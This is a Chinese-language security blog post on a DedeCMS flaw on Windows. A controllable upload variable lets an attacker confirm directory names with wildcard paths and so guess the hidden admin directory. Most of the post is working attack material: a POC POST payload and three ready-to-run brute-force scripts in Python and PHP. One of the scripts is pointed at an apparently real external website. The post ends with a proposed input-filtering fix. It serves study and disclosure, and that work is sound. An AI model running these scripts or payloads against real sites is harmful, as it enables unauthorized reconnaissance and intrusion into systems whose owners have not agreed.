參考文章
https://xianzhi.aliyun.com/forum/topic/2064
近期,學習的先知社區《解決DEDECMS歷史難題--找后台目錄》的內容,記錄一下。
利用限制
僅針對windows系統
DedeCMS目前下載的最新版的還存在此問題。(DedeCMS-V5.7-UTF8-SP2.tar.gz )在網盤里找相應名字的就行
漏洞成因
首先看核心文件include/common.inc.php 大概148行左右,這一塊是對上傳文件的安全處理。
//轉換上傳的文件相關的變量及安全處理、並引用前台通用的上傳函數 if($_FILES) { require_once(DEDEINC.'/uploadsafe.inc.php'); }
跟進uploadsafe.inc.php文件,25行
if( preg_match('#^(cfg_|GLOBALS)#', $_key) ) { exit('Request var not allow for uploadsafe!'); } $$_key = $_FILES[$_key]['tmp_name']; //獲取temp_name ${$_key.'_name'} = $_FILES[$_key]['name']; ${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']); ${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']); if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) ) { if(!defined('DEDEADMIN')) { exit('Not Admin Upload filetype not allow !'); } } if(empty(${$_key.'_size'})) { ${$_key.'_size'} = @filesize($$_key); } $imtypes = array ( "image/pjpeg", "image/jpeg", "image/gif", "image/png", "image/xpng", "image/wbmp", "image/bmp" ); if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes)) { $image_dd = @getimagesize($$_key); //問題就在這里,獲取文件的size,獲取不到說明不是圖片或者圖片不存在,不存就exit upload.... ,利用這個邏輯猜目錄的前提是目錄內有圖片格式的文件。 if (!is_array($image_dd)) { exit('Upload filetype not allow !'); } }
出發點是找個可以利用<<通配符猜解后台目錄,所以只要$$_key參數可控就可以達到目的。
但在這之前有個if(!defined('DEDEADMIN'))的判斷,這個很好繞過設置name為0就可以繞過。
因為這塊第一個if判斷$_key.'_name'是否為空,為空就不往下進行判斷,所以給name賦值0就可以繞過了。
if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) ) { if(!defined('DEDEADMIN')) { exit('Not Admin Upload filetype not allow !'); } }
最后關鍵的一點就是要讓文件存在還和不存在返回不同的內容就要控制type參數了。
當目錄文件存在的時候 返回正常頁面。當不存在的時候返回:Upload filetype not allow !
最后總結一下:
$$_key這個變量可控是關鍵,此漏洞就是利用了往這個變量里傳入一張已知存在於后台目錄的圖片,通過不斷爆破路徑檢測頁面是否返回'Upload filetype not allow !'來判斷路徑是否正確,最終確定后台路徑是什么。
構造POC
http://localhost/dedecms/tags.php
POST
dopost=save&_FILES[b4dboy][tmp_name]=./de</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif
Common.inc.php 是被全局包含的文件,只要文件php文件包含了Common.inc.php都可以進行測試,以tags.php文件為例
上面是作者的原POC,有個小問題需要注意一下,POST的是tags.php 屬於根目錄下的文件,在根目錄下沒有tags.php的情況下,需要找一個包含common.inc.php的文件,在這種情況下只能找二級目錄下的文件,例如:/plus /include
那么如果根目錄下不存在tags.php,POC的POST內同應該這樣寫
http://localhost/dedecms/plus/diy.php
POST
dopost=save&_FILES[b4dboy][tmp_name]=./../de</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif
形成EXP

#!/usr/bin/env python '''/* * author = Mochazz * team = 紅日安全團隊 * env = pyton3 * */ ''' import requests import itertools characters = "abcdefghijklmnopqrstuvwxyz0123456789_!#" back_dir = "" flag = 0 # url = "http://192.168.1.9/tags.php" url = "http://www.xmspower.com/tags.php" data = { "_FILES[mochazz][tmp_name]" : "./{p}<</images/adminico.gif", "_FILES[mochazz][name]" : 0, "_FILES[mochazz][size]" : 0, "_FILES[mochazz][type]" : "image/gif" } for num in range(1,7): if flag: break for pre in itertools.permutations(characters,num): pre = ''.join(list(pre)) data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=pre) print("testing",pre) r = requests.post(url,data=data) if "Upload filetype not allow !" not in r.text and r.status_code == 200: flag = 1 back_dir = pre data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif" break else: data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif" print("[+] 前綴為:",back_dir) flag = 0 for i in range(30): if flag: break for ch in characters: if ch == characters[-1]: flag = 1 break data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=back_dir+ch) r = requests.post(url, data=data) if "Upload filetype not allow !" not in r.text and r.status_code == 200: back_dir += ch print("[+] ",back_dir) data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif" break else: data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif" print("后台地址為:",back_dir)

<?php $domain='http://localhost/dedecms/'; $url=$domain.'/index.php'; function post($url, $data, $cookie = '') { $options = array( CURLOPT_RETURNTRANSFER => true, CURLOPT_HEADER => true, CURLOPT_POST => true, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_COOKIE => $cookie, CURLOPT_POSTFIELDS => $data, ); $ch = curl_init($url); curl_setopt_array($ch, $options); $result = curl_exec($ch); curl_close($ch); return $result; } $testlen=25; $str=range('a','z'); $number=range(0,9,1); $dic = array_merge($str, $number); $n=true; $nn=true; $path=''; while($n){ foreach($dic as $v){ foreach($dic as $vv){ #echo $v.$vv .'----'; $post_data="dopost=save&_FILES[b4dboy][tmp_name]=./$v$vv</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif"; $result=post($url,$post_data); if(strpos($result,'Upload filetype not allow !') === false){ $path=$v.$vv;$n=false;break 2; } } } } while($nn){ foreach($dic as $vvv){ $post_data="dopost=save&_FILES[b4dboy][tmp_name]=./$path$vvv</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif"; $result=post($url,$post_data); if(strpos($result,'Upload filetype not allow !') === false){ $path.=$vvv; echo $path . PHP_EOL; $giturl=$domain.'/'.$path.'/images/admin_top_logo.gif'; if(@file_get_contents($giturl)){ echo $domain.'/'.$path.'/'; $nn=false;break 2; } } } } ?>

<?php /* dedecms 后台地址爆破工具 使用程序時,必須指定dedecms的版本,例如:5.6 當你不確定dedecms版本時,請將5.6和5.7兩個版本都嘗試一遍,總有一個適合您! Example: php.exe dedecms-exp.php 5.6 http://127.0.0.1/ */ if(!isset($argv[1]) or !isset($argv[2])) { exit("error!\r\nExample: php.exe dedecms-exp.php 5.6 http://127.0.0.1/"); } $domain = $argv[2]; $url = $domain . '/tags.php'; $version = $argv[1]; $path = my_func($url); if($path) { while(($path = my_func($url, $path))) { echo strtolower($path) . "\r\n"; } } else { for($i = 48; $i <= 90; $i++) { if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90)) { $path = my_func($url, chr($i)); while($path) { echo strtolower($path) . "\r\n"; $path = my_func($url, $path); } } } } exit(); function my_func($url, $path = '') { $ch = curl_init($url); $i = 48; global $version; while($i <= 90) { if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90)) { if($version != '5.7') { /* v5.6版本及其以下 */ $admin_path = './' . $path . chr($i) . '</img/admin_top_logo.gif'; } else { /* v5.7版本 */ $admin_path = './' . $path . chr($i) . '</images/admin_top_logo.gif'; } $data = 'dopost=save&_FILES[b4dboy][tmp_name]=' . $admin_path . '&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif'; $options = array( CURLOPT_USERAGENT => 'Firefox/58.0', CURLOPT_RETURNTRANSFER => true, CURLOPT_POST => true, CURLOPT_POSTFIELDS => $data, ); curl_setopt_array($ch, $options); $response = curl_exec($ch); if(!preg_match('/(Upload filetype not allow !)/i', $response)) { $path = $path . chr($i); return $path; } } $i++; } curl_close($ch); return false; } ?>
修復方案
這個是我自己提供的可能不權威,
主要思路就是把.和/過濾掉,這樣就讀取不了文件了。
if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes)) { $$_key = preg_replace('#[\/\.]#i', '', $$_key); $image_dd = @getimagesize($$_key); if (!is_array($image_dd)) { exit('Upload filetype not allow !'); } }